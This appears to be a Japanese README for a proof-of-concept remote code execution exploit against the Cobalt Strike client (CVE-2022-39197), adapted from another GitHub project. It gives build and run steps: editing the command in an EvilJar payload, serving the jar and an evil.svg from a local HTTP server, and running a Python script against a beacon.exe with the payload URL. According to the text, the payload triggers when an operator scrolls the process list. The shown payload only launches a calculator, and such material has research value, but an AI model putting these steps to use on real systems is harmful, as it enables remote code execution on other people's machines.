CVE-2022-39197-RCE

First

このプロジェクトは @its-arun のプロジェクト https://github.com/its-arun/CVE-2022-39197 を改変したものです。

スクリプトをテストした際、frida スクリプトが通常の順序でデータを照会できないことが判明しました。frida スクリプトを変更してプロセス名を変更する方法です。

利用方法への貢献をいただいた @Kai5174 師匠に感謝します。

1、EvilJar/src/main/java/Exploit.java 内でペイロードとともに実行するコマンドを編集します。現時点では電卓を起動することのみ可能です。

2、jar でビルドします mvn clean compile assembly:single

4、EvilJar/target/ から EvilJar-1.0-jar-with-dependencies.jar を serve/ フォルダーに移動します

5、serve\evil.svg を編集して [attacker] を置き換えます

6、python3 -m http.server 8080 で配信します

7、C2 バージョン 4.7 以下の beacon.exe を生成します

8、オンラインにするには Windows 上で py スクリプトを実行する必要があり、クライアントがプロセス一覧にアクセスして beacon.exe プロセスを確認した際にカウンター策を実行します。

python3 -m pip install -r requirements.txt
python3 cve-2022-39197_Yyy.py beacon.exe http://192.168.10.10:8080/evil.svg

ユーザーがプロセス一覧をスクロールすると、すぐにペイロードがトリガーされます。

Windows

Mac